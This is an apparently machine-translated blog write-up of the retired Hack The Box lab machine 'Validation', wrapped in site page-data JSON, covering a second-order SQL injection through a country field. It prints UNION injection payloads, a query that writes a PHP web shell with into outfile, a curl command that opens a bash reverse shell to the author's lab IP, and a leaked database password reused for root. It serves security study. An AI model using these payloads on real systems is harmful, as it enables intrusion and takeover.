{"componentChunkName":"component---src-templates-post-template-js","path":"/hackthebox-linux-validation-en","result":{"data":{"markdownRemark":{"id":"724734e7-f559-52f6-86b6-5d3ddde112dc","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I study security using a penetration-testing training platform called Hack The Box.\nAt the time of writing, my Hack The Box rank is ProHacker.

\n\"Hack\n

This time, I am writing up the retired HackTheBox machine “Validation.”

\n

\n \n \n \n \n \n \n \n \n

\n

About This Article

\n

The content of this article is not intended to encourage actions that violate social order.

\n

Please note in advance that attempting attacks against any environment other than one you own or have been explicitly authorized to test may violate applicable laws.

\n

All statements here are my own and do not represent any organization I belong to.

\n\n

Table of Contents

\n\n

Enumeration

\n

As usual, I started with the standard scan.

\n
Starting Nmap 7.92 ( https://nmap.org ) at 2021-10-28 22:29 JST\nWarning: 10.10.11.116 giving up on port because retransmission cap hit (6).\nNmap scan report for $RHOST (10.10.11.116)\nHost is up (0.40s latency).\nNot shown: 992 closed tcp ports (conn-refused)\nPORT     STATE    SERVICE       VERSION\n22/tcp   open     ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)\n|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)\n|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)\n80/tcp   open     http          Apache httpd 2.4.48 ((Debian))\n|_http-title: Site doesn't have a title (text/html; charset=UTF-8).\n|_http-server-header: Apache/2.4.48 (Debian)\n5000/tcp filtered upnp\n5001/tcp filtered commplex-link\n5002/tcp filtered rfe\n5003/tcp filtered filemaker\n5004/tcp filtered avt-profile-1\n8080/tcp open     http          nginx\n|_http-title: 502 Bad Gateway\nService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\n\nService detection performed. Please report any incorrect results at https://nmap.org/submit/ .\nNmap done: 1 IP address (1 host up) scanned in 137.03 seconds
\n

A somewhat mysterious web application was running on port 80.

\n

\n \n \n \n \n \n \n \n \n

\n

It seemed to be an application that automatically registers a user when you POST a username and country, then displays other users from the same country.

\n

Since it retrieved and displayed the username, I continued the investigation from the assumption that SQLi might work.

\n

There was also an XSS vulnerability, but it was the kind that did not lead to a shell, so I ignored it.

\n

SQLi

\n

I tried running sqlmap as a test, but both username and country came back as does not seem to be injectable.

\n
python3 sqlmap.py -u \"http://$RHOST/\" --data \"username=test&country=Ukraine\"
\n

Apparently the input form does escape input values.

\n

Second-Order SQL Injection

\n

This application has a second-order SQL injection vulnerability.

\n

Reference: second-order SQL injection - Garu’s Memorandum

\n

In practice, the application was doing something like the following behind the scenes.

\n
<?php\n  require('config.php');\n  if ( $_SERVER['REQUEST_METHOD'] == 'POST' ) {\n    $userhash = md5($_POST['username']);\n    $sql = \"INSERT INTO registration (username, userhash, country, regtime) VALUES (?, ?, ?, ?)\";\n    $stmt = $conn->prepare($sql);\n    $stmt->bind_param(\"sssi\", $_POST['username'], $userhash , $_POST['country'], time());\n    if ($stmt->execute()) {;\n            setcookie('user', $userhash);\n            header(\"Location: /account.php\");\n            exit;\n    }\n    $sql = \"update registration set country = ? where username = ?\";\n    $stmt = $conn->prepare($sql);\n    $stmt->bind_param(\"ss\", $_POST['country'], $_POST['username']);\n    $stmt->execute();\n    setcookie('user', $userhash);\n    header(\"Location: /account.php\");\n    exit;\n  }\n?>
\n

It stored POSTed values in the database through placeholders and then redirected to /account.php.

\n
<?php \n  include('config.php');\n  $user = $_COOKIE['user'];\n  $sql = \"SELECT username, country FROM registration WHERE userhash = ?\";\n  $stmt = $conn->prepare($sql);\n  $stmt->bind_param(\"s\", $user);\n  $stmt->execute();\n  \n  $result = $stmt->get_result(); // get the mysqli result\n  $row = $result->fetch_assoc(); // fetch data   \n  echo '<h1 class=\"text-white\">Welcome ' . $row['username'] . '</h1>';\n  echo '<h3 class=\"text-white\">Other Players In ' . $row['country'] . '</h3>';\n  $sql = \"SELECT username FROM registration WHERE country = '\" . $row['country'] . \"'\";\n  $result = $conn->query($sql);\n  while ($row = $result->fetch_assoc()) {\n    echo \"<li class='text-white'>\" . $row['username'] . \"</li>\";\n  }\n?>
\n

In the input form in index.php, the SQL query used placeholders. However, the part in account.php that retrieved the user and country did not use placeholders.

\n

For that reason, a second-order SQL injection vulnerability exists.

\n

So, if you put ' in the Country input field at the time of the redirect, Faital Error appears in the browser, which tells us SQLi is likely possible.

\n

\n \n \n \n \n \n \n \n \n

\n

UNION Injection

\n

So I went ahead and actually performed the SQLi.

\n

As you can also tell from the earlier Burp test, simply performing SQLi does not let us display the returned values.

\n

So I used a technique called UNION injection.

\n

UNION injection is an attack technique that uses a UNION query to poison an existing SQL query and combine its original result with the result of an arbitrary query.

\n

You can send a query like this.

\n
country=Brazil' UNION SELECT 1;-- -';
\n

Reference: SQL Injection Cheat Sheet | Netsparker

\n

From here, I used UNION injection to enumerate and exploit the database.

\n
-- Display the DB username\nselect user()\n\n-- Database name\nselect database()\n\n-- Enumerate schemas\nselect schema_name from information_schema.schemata\n\n-- Get tables\nselect table_name from information_schema.tables where table_schema = '<table name>'\n\n-- Get column information\nselect column_name from information_schema.columns where table_name = '<table name>'\n\n-- Check user privileges\nselect privilege_type FROM information_schema.user_privileges where grantee = \"<username>\"\n\n-- Write to a file (only possible if the user has FILE privilege)\nselect \"Test\" into outfile '/var/www/html/Test.txt'\n\n-- Write a web shell\nselect \"<?php SYSTEM($_REQUEST['cmd']); ?>\" into outfile '/var/www/html/webshell.php'
\n

What mattered most here was that the database user had the FILE privilege when I displayed its privilege_type.

\n

That means the DB user had permission to access files on the local system.

\n

Reference: MySQL 5.6 Reference Manual: Privileges Provided by MySQL

\n

As a result, I was able to drop a web shell via SQLi using into outfile.

\n

After that, I could obtain the user flag by triggering a reverse shell against the web shell.

\n
curl \"http://10.10.11.116/webshell.php\" --data-urlencode \"cmd=bash -c '/bin/bash -l > /dev/tcp/10.10.0.0/4444 0<&1 2>&1'\"
\n

Privilege Escalation

\n

After logging in locally, I looked at config.php and found the user’s password written there.

\n
<?php\n  $servername = \"127.0.0.1\";\n  $username = \"uhc\";\n  $password = \"uhc-9qual-global-pw\";\n  $dbname = \"registration\";\n\n  $conn = new mysqli($servername, $username, $password, $dbname);\n?>
\n

With that, running su root gives you root privileges.

\n

Conclusion

\n

I decided to study hacking seriously, so for now I plan to keep grinding retired machines.

","fields":{"slug":"/hackthebox-linux-validation-en","tagSlugs":["/tag/hack-the-box-en/","/tag/linux-en/","/tag/easy-box-en/","/tag/english/"]},"frontmatter":{"date":"2021-10-30","description":"This is a writeup of the retired HackTheBox machine \"Validation\".","tags":["HackTheBox (en)","Linux (en)","EasyBox (en)","English"],"title":"[Easy/Linux] Validation Writeup (HackTheBox)","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/hackthebox-linux-validation-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}